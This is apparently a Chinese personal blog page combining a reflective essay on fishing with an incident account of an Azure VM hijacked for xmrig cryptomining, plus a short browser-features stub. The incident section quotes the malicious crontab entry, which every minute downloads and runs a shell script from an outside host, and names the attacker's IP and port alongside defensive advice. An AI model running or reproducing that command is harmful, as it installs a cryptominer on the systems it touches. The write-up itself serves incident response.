Growth Mindset 2022

微信公众号“对刘谈心”记录一个”观念改造”的系列。计划是每个月一篇，月底刊登。

观念改造记录这个月我看过的书或网页，遇见的人或事情对我个人的观念的改造，至少当下我比较认同的观念，朋友们一看，能够遇到某一条您也比较接受或认同的，我便心满意足。

钓鱼心得

本来拥挤的国庆，今年却不拥挤。

10/2 日下午跟着舅舅去钓鱼，舅舅带我来到一个好地方——水塘的两岸一片自然和谐的景象，钓点这边杨柳依依，柳树的枝条蓬松地倒垂在水面上。对岸则是一片片农民的自留旱地，三三两两的农民在田间除草，播种，浇水。水面上一簇簇的水草周围，泛着被鱼儿搅动的阵阵涟漪。太阳还没有下山，我们找到一片树荫处，阵阵秋风之间，让人神清气爽。

太阳快落山的时候，似乎是鱼儿开始觅食的集中时间，我们两个上演了此起彼伏的扬杆上鱼，都是沉甸甸的中大号鲫鱼。我们乐此不疲，忙的不亦乐乎。舅舅甚至开始一边取鱼，一边开始吟诵着唐代大诗人韦应物的“春潮带雨晚来急，野渡无人舟自横”。只是此处，他还不忘改编 “鱼儿觅食晚来急”。

秋天的太阳下山很快，没多久，太阳下山了，周围渐渐暗了下来，我们甚至看不见鱼漂了，湖面的风也息了，看着对岸,无舟可渡。 心里还在回荡着舅舅吟诵的那句“野渡无人舟自横”。 我们依依不舍，收杆回家。

这一下午，收获颇丰，晚饭后，想着下午连续上鱼的激动场面，顿时对钓鱼这件事产生了持续的兴致，找到舅舅，带我去渔具店，挑了一把新的鱼竿。

10/3 日大早，就拿着新鱼竿，来到昨天的钓点，打了窝，挂上钩，坐等开钓，一上午也是忙的不亦乐乎，可是都是小鱼闹窝，一上午下来，基本算是空军而回，这信心顿时受到的打击。前一天梦幻式的开局下，上午去开钓前的期望被现实揉得稀碎。更可气的是，还不停地有小鱼咬钩，拖钩仓皇逃串，我这边还要不停地去换蚯蚓。心累。

同样的地点，不同的时机，境遇，心态，心情竟会如此不同。

小鱼闹窝，让真正想钓的大鱼没有机会咬钩。这也就像我们的生活，如果常常被琐事缠身，我们真正的目标又该如何能实现呢。

云安全的重要性：记录一次云主机被挖矿攻防

最近发现我的一台Azure VM 超出150美元的月度限额导致VM 直接关机。

通过Azure Monitor 上 可以看出一段时间内CPU，Network Out Total 严重异常，出口流量暴增，CPU 近100%。

重新开机并立即关闭80，443 端口，并限定了22 端口仅限本机访问， 然后SSH上去开始尝试寻找问题原因。

1. 首先通过 htop 检查导致高CPU的进程,发现名为xmrig的进程导致100%

2. 检查crontab 查看是否有自启动的job，果然发现有，杀掉进程后并删除crontab job。

*/1 * * * * cd /tmp/node-v10.15.3-linux-x64/bin;rm -rf cc.sh;
wget http://8306.org/cc.sh;chmod 777 cc.sh;bash cc.sh /dev/null 2>&1

如果从SRE角度去主动侦测

上述的步骤是事后诸葛亮， 是被动的应对，决定尝试一下主动侦测并提前响应，以免像我一样早上上面的损失。

• 升级系统补丁

可以选择定时任务去执行下面的命令也可以在配置云主机的时候设置自动升级补丁包

sudo apt upgrade && sudo apt update

• 设置安全组和Inbound/Outbound 规则

• 通过监控工具主动发现异常

从这里可以看到这个xmrig的进程通过13333这个端口从我的 Azure VM 跟目标机器 101.32.200.219 这台机器进行通信。

通过IP 我们可以定位出目标IP 对应的ISP 是腾讯云上的一台云主机。

到这一步，我在想，是不是我们遇到重大损失的时候就可以报案并联系IPS运营商去协助从源头上解决问题。

当然，对于小损失，像我这样的，我们可以吃一堑长一智，至少可以把对方的IP 加到inbound/outbound blocklist里。

• 设置Alert 主动通知和干预

因为此次攻击主要是利用云主机资源用来挖矿，对我的账单影响比较大的地方是出口流量费用。为了避免损失，我结合Azure 的Metrics 设置了 Alert。

一旦发现一段时间内的流量异常，就通过邮件发送通知，并自动执行任务暂时关闭主机，阻止近一步的损失。

还有什么可以做的？

欢迎大家留言，提出保障云主机安全的见解和建议。

Growth Mindset 2021

微信公众号“对刘谈心”记录一个”观念改造”的系列。计划是每个月一篇，月底刊登。

观念改造记录这个月我看过的书或网页，遇见的人或事情对我个人的观念的改造，至少当下我比较认同的观念，朋友们一看，能够遇到某一条您也比较接受或认同的，我便心满意足。

Edge 功能

• 侧边栏搜索

• Read aloud

Firefox

Brave